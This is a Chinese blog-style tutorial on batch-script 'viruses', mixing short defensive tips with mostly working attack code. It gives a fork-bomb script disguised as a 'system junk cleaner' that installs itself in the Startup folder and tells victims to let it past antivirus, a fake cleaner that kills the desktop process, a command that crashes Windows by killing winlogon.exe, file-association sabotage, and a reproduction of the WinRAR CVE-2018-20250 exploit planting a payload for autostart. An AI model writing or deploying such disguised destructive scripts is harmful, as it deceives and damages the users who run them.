批处理病毒攻防机理

.bat文件是DOS下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为.bat.cmd。在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序依次运行它们。使用批处理文件或脚本,可以简化日常或重复性任务。攻击者通常通过批处理文件的编写来实现多工具的组合入侵、自动入侵及结果提取等功能。

1. 批处理病毒机理

1.1 修改密码和定时关机脚本

编写并运行批处理脚本的基本步骤如下:

  1. 新建文本文档
  2. 输入批处理命令
  3. 将扩展名改为.bat
  4. 双击批处理文件运行

关机命令为shutdown,基本命令为:

1
2
3
4
5
//现在让系统600s后关机
shutdown -s -t 600

//终止关闭计算机
shutdown -a

更多有关shutdown的用法可通过CMD查看。

运用在批处理脚本中,也是一样的。如果需要终止关机需在CMD输入相应命令。

了解了基本的批处理脚本的运行方式后,接下来进行一个比较完整的bat脚本制作过程,这些代码对批处理功能熟悉和脚本病毒逆向分析都有帮助。

新建一个v5le0n9.bat,程序编写如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
@echo off
color 0a
title v5le0n9在此

echo ===================================
echo 菜单
echo 1.修改管理员密码
echo 2.定时关机
echo 3.退出本程序
echo ===================================

pause

其中“@echo off”表示关闭回显,“color 0a”表示设置颜色。双击文件显示如下:

继续完善代码,可以让用户进行选择,达到交互目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@echo off
color 0a
title v5le0n9在此

echo ===================================
echo 菜单
echo 1.修改管理员密码
echo 2.定时关机
echo 3.退出本程序
echo ===================================

set /p num=您的选择是:

pause

“set /p num=您的选择是:”表示设置变量num等待用户输入,其中“/p”表示暂停并等待用户输入,“num=您的选择是:”表示用户在“您的选择是:”后输入的值赋给num。

接下来就是选择选项后要执行的命令:

1
2
3
4
5
6
7
8
//修改管理员密码为123456
net user administrator 123456

//100s后关机
shutdown -s -t 100

//退出本程序
exit

知道这些命令后再将这些命令放入到批处理脚本中。其中“>nul”表示不输出运行提示信息。虽然goto语句不提倡使用,但某些情况还是挺便捷的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@echo off
color 0a
title v5le0n9在此

:menu
echo ===================================
echo 菜单
echo 1.修改管理员密码
echo 2.定时关机
echo 3.退出本程序
echo ===================================

set /p num=您的选择是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3

:1
net user administrator 123456 > nul
echo 您的密码已经设置成功!
pause
goto menu

:2
shutdown -s -t 100
goto menu

:3
exit

显示拒绝访问,并且重启发现密码没有修改成功,这是因为普通用户没有权限。需要“以管理员身份运行”批处理脚本才能修改成功。

继续完善脚本功能:

  • 增加“cls”命令清屏
  • 为了避免输入其它数字会从头执行到尾,补充一个提示信息
  • 最后补充设置的用户名和新密码,关机时间等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@echo off
color 0a
title v5le0n9在此

:menu
cls
echo ===================================
echo 菜单
echo 1.修改管理员密码
echo 2.定时关机
echo 3.退出本程序
echo ===================================

set /p num=您的选择是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3

echo 您好!请输入1-3正确的数字
pause
goto menu

:1
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p% >nul
echo 您的密码已经设置成功!
pause
goto menu

:2
set /p time=请输入时间:
shutdown -s -t %time%
goto menu

:3
exit

1.2 脚本病毒防御机制

上面主要介绍了批处理脚本实现关机和修改管理员密码的功能,但在真正的网络攻防过程中,脚本病毒和宏病毒更常见,这里分享下它们的防御方法。

脚本病毒主要采用脚本语言设计的计算机病毒。现在流行的脚本病毒大都是利用JavaScript和VBScript脚本语言编写。实际上在早期的系统中,病毒就已经开始利用脚本进行传播和破坏,不过专门的脚本型病毒并不常见。但是在脚本应用无所不在的今天,脚本病毒却成为危害大、传播广的病毒,特别是当它们和一些传统的进行恶性破坏的病毒如CIH相结合时,其危害就更严重了。

随着计算机系统软件技术的发展,新的病毒技术也应运而生,特别是结合脚本技术的病毒更让人防不胜防,比如在APT中鱼叉式钓鱼邮件结合宏病毒(Office文档)就很常见。由于脚本语言的易用性,并且脚本在现有应用系统中特别是Internet应用中占据了重要地位,脚本病毒也成为互联网病毒中最为流行的网络病毒之一。常见脚本文件后缀有:.VBS.VBE.JS.BAT.CMD

常见的防御措施包括:

  • 防范VBS(Visual Basic Script)脚本病毒,比如禁用文件系统对象regsvr32 scrrun.dll/u
  • 在浏览器设置中将ActiveX插件和控件以及JS相关功能禁止掉,这样可以避免一些恶意代码的攻击,不过也会限制一些制作精美的动态网页
  • 及时升级系统和浏览器补丁,选择一款好的防病毒软件并做好及时升级
  • 防止鱼叉式钓鱼邮件攻击,不要轻易去浏览或点击一些来历不明的网站、邮件、文件,这样大部分的恶意代码都会被我们拒之“机”外
  • 小心处理Office文档,除非确认文档来源可靠,充分了解打开文档的后果,否则务必不要开启Office启用宏代码
  • 使用云沙箱和本地安全软件对可疑文件进行检测
  • 提升安全意识,尤其内部人员的安全意识

2. 自启动恶意攻击机理

当计算机重启后,病毒自启动是一个重要的功能。常用方法包括:

  • 病毒融合Autoruns自启动机制

  • 利用系统自动播放机制Autorun.inf

    比如U盘病毒或光盘病毒就是利用U盘或光盘的自动播放功能。目前,也有一些U盘插入后,不需要双击U盘,里面的程序就会自启动。

  • 在其它可执行文件嵌入少量触发代码

    修改引入函数节启动DLL病毒文件(添加相应结构,初始化代码触发),在特定PE文件代码段插入触发代码等(只需定位可执行程序并运行)。

  • DLL劫持:替换已有DLL文件

    很多应用程序或操作系统执行时,都会去执行DLL文件,如果病毒将自身做成一个DLL文件,同时将系统DLL文件替换。可想而知,系统启动时,它是根据文件名启动的,此时病毒DLL文件就会拿到控制权,如果拿到控制权之后再进一步装载原始DLL文件,这样系统的本身机制也不会受影响,隐蔽性更强。该方法非常常见,甚至有一些病毒程序将反病毒软件可依赖的DLL文件替换。

  • 利用0day或1day漏洞实现自启动

2.1 BAT脚本实现自启动

现在尝试编写一个伪装成“系统垃圾清理”的程序,它其实是一个导致系统死机的程序,其原理是不断打开CMD程序,占用系统资源从而导致死机,并且每次开机都会自启动。

创建批处理文件clean.bat,“::”表示注释,“>”表示清空重写,“>>”表示追加命令到文件末尾,“%0”表示再次执行该程序。

1
2
3
4
5
6
7
8
::每次运行clean.bat都重写自身,写入命令start cmd
echo start cmd > C:\Users\Leong\Desktop\clean.bat

::每运行一次clean.bat增加一条start cmd命令
echo start cmd >> C:\Users\Leong\Desktop\clean.bat

::每运行一次clean.bat增加一条打开clean.bat命令
echo %0 >> C:\Users\Leong\Desktop\clean.bat

如果是命令1与命令3结合,第一次运行到命令1后,clean.bat被重写,命令3被清掉了,无法实现“不断打开CMD程序”。如果是命令2与命令3结合,第一次运行到命令2后,在文件末尾追加“start cmd”命令并打开CMD窗口,运行到命令3后,在文件末尾追加“C:\Users\Leong\Desktop\clean.bat”命令并打开clean.bat。此时clean.bat文件内容如下,但读入内存的旧的clean.bat已经执行完了。

1
2
3
4
5
6
7
8
::每运行一次clean.bat增加一条start cmd命令
echo start cmd >> C:\Users\Leong\Desktop\clean.bat

::每运行一次clean.bat打开一个clean.bat
echo %0 >> C:\Users\Leong\Desktop\clean.bat

start cmd
"C:\Users\Leong\Desktop\clean.bat"

因为旧的clean.bat在执行结束前将新的clean.bat读入内存,紧接着从头开始运行新的clean.bat文件,到命令2后,在文件末尾追加“start cmd”命令并打开CMD窗口,运行到命令3后,在文件末尾追加“C:\Users\Leong\Desktop\clean.bat”命令并打开最新的clean.bat,此时程序更新为:

1
2
3
4
5
6
7
8
9
10
::每运行一次clean.bat增加一条start cmd命令
echo start cmd >> C:\Users\Leong\Desktop\clean.bat

::每运行一次clean.bat打开一个clean.bat
echo %0 >> C:\Users\Leong\Desktop\clean.bat

start cmd
"C:\Users\Leong\Desktop\clean.bat"
start cmd
"C:\Users\Leong\Desktop\clean.bat"

但新的clean.bat还有两条指令没执行完,在打开最新的clean.bat后继续往下执行。最新的clean.bat从头开始执行。以此类推,程序不断打开CMD窗口,占用系统资源,导致系统瘫痪。

当然也可以不用那么复杂,直接在批处理脚本中输入以下命令即可实现破坏功能:

1
2
start cmd
C:\Users\Leong\Desktop\clean.bat

以上只能让用户死机一次,重启系统后,用户不再打开这个文件就不会中招。所以为了跳过用户启动的步骤,可以把程序放在自启动中。

errorlevel为预定义变量,随着系统变化而变化。如果为0表示上一条命令执行成功,如果为1表示上一条命令执行失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】=====
::echo.表示空行
echo.
echo.

::Win 7及以上运行这个命令,将批处理脚本拷贝到自启动项中
copy C:\Users\Leong\Desktop\clean.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
if %errorlevel%==0 goto next

::Win 7以下运行这个命令
copy C:\Users\Leong\Desktop\clean.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nul
if %errorlevel%==0 goto next

:error
echo.
echo.
echo ======程序运行失败,请【使用管理员权限】重新运行!======
echo.
pause

:next
echo.
echo.
echo =========垃圾清理中,请不要关闭窗口=========
echo.
::ping在这里的作用是延长时间,伪装在清理垃圾
ping -n 5 127.0.0.1>nul
echo.
echo =========垃圾清理完毕,共清理垃圾500M=======
echo.
echo.
echo =========建议立即重启电脑==========

echo start cmd > "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clean.bat"
echo "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clean.bat" >> "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clean.bat"

pause

血的教训,最好把路径用引号括起来,否则可能执行不成功。

“以管理员身份运行”,在Win 7中其实普通用户也可以。

检查自启动目录是否创建了批处理脚本,双击它的确能不断打开CMD占用系统资源。

现在重启电脑测试是否能实现自启动。完美!

2.2 WinRAR恶意劫持自启动(CVE-2018-20250)

2.2.1 漏洞描述

WinRAR漏洞(CVE-2018-20250)是Check Point团队于2019年2月爆出的严重安全漏洞,该漏洞已存在于WinRAR中19年,是APT攻击中非常经典的漏洞。它是由于WinRAR使用一个陈旧的UNACEV2.dll动态链接库造成的。当我们解压任意ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意软件写入操作系统自启动文件夹,导致电脑重启时会自动运行该程序,从而造成恶意软件劫持。

2.2.2 影响范围

该漏洞会对多种压缩软件造成影响,版本如下:

  • WinRAR < v5.70 Beta 1
  • Bandizip <= v6.2.0.0
  • 好压(245压缩) <= v5.9.8.10907
  • 360压缩 <= v4.0.0.1170

2.2.3 漏洞复现

2.2.3.1 环境配置

攻击机:Windows 10 家庭版 x64

靶机:Windows 10 教育版 x64

利用工具:https://github.com/backlion/CVE-2018-20250

2.2.3.2 复现准备

在靶机上下载好WinRAR v5.4(提取码:lo3r),安装之后可以看到本地WinRAR目录下的UNACEV2.dll动态链接库,这个就是被利用的入口。

下载CVE-2018-20250漏洞利用工具。解压出来如下:

  • README.md是漏洞利用说明书,告诉我们哪些参数可以修改、如何运行exp以及漏洞被利用的后果
  • hello.txtworld.txt是需要压缩的文件
  • calc.exe是计算器,可以替换成恶意软件,它会被定向植入系统自启动目录
  • exp.py是运行的Python代码,它会将hello.txtworld.txt压缩,并隐藏恶意软件
  • acefile.py是利用UNACEV2.dll漏洞的代码,共4000多行

2.2.3.3 复现过程

如果想要修改恶意文件、压缩文件名称、放在启动目录的文件名称等等,可以通过编辑exp.py实现。

1
2
3
4
5
6
7
8
9
10
11
...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
...

运行exp.py,将生成的test.rar发送到靶机中。

笑死,被发现了。为了实验,将它从隔离区拿出来。

查看压缩包发现里面不仅有hello.txtworld.txt,还有一个本地磁盘路径,点进去发现就是在自启动目录下放置的hi.exe。(这真的太明显了吧!!)

注意:当用户解压文件时,其解压目录必须是C:\Users\当前用户目录下。

当用户解压完后,会在自启动目录生成一个hi.exe,也就是calc.exe。在系统重启后会自动打开calc.exe

2.3 恶意自启动防御

自启动防御可以看熊猫烧香病毒的行为机理分析 3.2 检查启动项,在WinRAR恶意劫持自启动漏洞中,可通过删除自启动目录下的恶意软件实现防御。

3. 进程关闭脚本

继续编写一个伪装成“系统垃圾清理”的程序,它其实是一个进程关闭程序,试着关闭桌面进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
echo.
echo.
echo.
echo =====垃圾清理中,请不要关闭窗口=========
echo.
ping -n 5 127.0.0.1>nul
taskkill /im explorer.exe /f >nul
echo.
echo =====拐了,你的系统已经废了=======
echo.
ping -n 5 127.0.0.1>nul
echo.
start c:\windows\explorer.exe
echo.
echo =====已经修复好!是不是吓坏了!!O(∩_∩)O==========
pause

运行该批处理程序,桌面会消失,过一会儿桌面又会恢复。

4. 蓝屏攻击机理

蓝屏死机称为BSOD(Blue Screen of Death),也是常见的攻击行为,尤其是某些CVE漏洞复现过程,在进行提权尝试前都会先实现蓝屏攻击功能,危害极大。

4.1 批处理脚本实现蓝屏攻击

实现蓝屏的命令:

1
ntsd -c q -pn winlogon.exe

ntsd是一个用户态进程调试工具,从Windows 2000就开始被附随在System32目录下。它能够结束除Systemsmss.execsrss.exelsass.exe及各种rootkit程序外所有的程序。但在Windows Vista(06年发布)及以上版本的Windows中不含ntsd,必须手动下载至电脑中才可使用。

为了方便,直接使用Windows 2003实验。制作成批处理脚本或直接在CMD窗口输入命令,主机直接蓝屏并重启。(重启太快了没有蓝屏截图)

Windows Logon Process(即winlogon.exe),是Windows NT 用户登录程序,用于管理用户登录和退出。该进程的正常路径应是C:\Windows\System32,且是以 SYSTEM 用户运行。

4.2 ntsd命令常用参数

-c ““表示c参数后面紧接命令,如上面的“q”应该是退出命令。

4.3 结束进程的几种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//利用进程的PID结束进程
ntsd -c q -p PID

//利用进程名结束进程
ntsd -c q -pn xxxx.exe

//利用taskkill命令强制终止进程
taskkill /f /im PID
taskkill /f /im xxxx.exe

//利用tskill命令结束进程
tskill PID
//xxxx不能带有后缀名
tskill xxxx

5. 简单的扩展名修改恶意攻击

将文件格式修改或文档加密都是常见的病毒,比如永恒之蓝、勒索病毒等,它们就是将电脑内的所有资料、文档加密。当用户打开文件时需要密码,此时通过比特币付费进行勒索。

编写批处理脚本,当遇到可执行的EXE文件认为它是一个TXT文档,系统默认用记事本打开导致可执行文件运行不起来。

1
assoc.exe=txtfile

“以管理员身份运行”,EXE文件被当作TXT文件打开。

其它格式文件转换为TXT文件如下所示:

1
2
3
4
5
6
7
assoc .htm=txtfile
assoc .dat=txtfile
assoc .com=txtfile
assoc .rar=txtfile
assoc .gho=txtfile
assoc .mvb=txtfile
...

此时,如果用户隐藏文件扩展名,甚至可以修改图标伪装成目标应用,当用户点击时会执行这些破坏。但由于不知道目标是否有隐藏扩展名,还是不建议这种“笨”方法。